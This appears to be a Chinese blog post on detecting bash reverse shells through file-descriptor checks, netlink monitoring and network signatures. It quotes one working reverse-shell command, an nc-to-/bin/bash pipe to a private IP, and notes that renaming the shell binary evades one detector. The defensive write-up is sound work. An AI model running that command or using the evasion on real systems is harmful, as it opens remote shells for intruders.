zoukankan      html  css  js  c++  java
  • bash反弹shell检测

    1、进程 file descriptor 异常检测
    检测 file descriptor 是否指向一个socket
    以重定向+/dev/tcp Bash反弹Shell攻击方式为例,这类反弹shell的本质可以归纳为file descriptor的重定向到一个socket句柄。

    2、检测 file descriptor 是否指向一个管道符(pipe)
    对于利用“管道符”传递指令的反弹shell攻击方式来说,这类反弹shell的本质可以归纳为file descriptor的重定向到一个pipe句柄。
    nc 192.168.43.146 7777 | /bin/bash | nc 192.168.43.146 8888

    不管做了多少层的pipe,反弹shell的本质是将server的输入传递给client的bash,因此肯定存在socket连接。我们只需要根据pid追溯pipe上游的进程,并判断其进程fd,检查是否是来自一个socket。
    例如,跟踪pipe,发现pipe的进程建立了socket连接,那么就存在反弹shell的风险。

    3、netlink监控+fd异常检测
    监听Netlink Socket,实时获取进程EXEC事件。
    如果为Shell进程,检查进程启动打开的FD,
    即当有程序打开了Socket,但是未使用/dev/tty、/dev/pts/n、/dev/ptmx等终端,则确认为反弹Shell。
    github:https://github.com/zhanghaoyil/seesaw

    绕过风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法。
    例如将/bin/sh重命名为其他名字进行反弹shell。

    4、脚本文件 && 应用程序 && 无文件(fileless)反弹shell检测
    前面讨论的fd监控方案,其本质都是针对”通过系统bash程序实现的反弹shell“。
    但是需要注意的是,操作系统是分层的,Bash只是一个应用程序的普通应用,其内部封装了调用glibc execve的功能而已,除了bash之外,我们还可以基于任意的应用层技术来实现反弹shell,
    例如:
    python/perl实现纯代码形式的反弹shell文件执行:文件脚本检测
    python/perl实现纯代码形式的反弹shell命令行指令(fileless):纯命令行fileless检测
    C/C++实现纯代码形式的反弹shell:二进制文件检测

    5、网络层反弹shell通信特征检测
    反弹shell的通信会话中,会包含一些”cmdline shell特征“,例如”#root....“等,可以在网络侧进行实时检测。

  • 相关阅读:
    java要注意的问题1
    广义表(线性表的推广)
    java基本类型和包装器类
    面试题10:斐波那契数列
    面试题9:用两个栈实现队列
    面试题8:二叉树的下一个结点
    10 分组数据
    9 汇总数据
    8 使用数据处理函数
    7 创建计算字段
  • 原文地址:https://www.cnblogs.com/micr067/p/14038908.html
Copyright © 2011-2022 走看看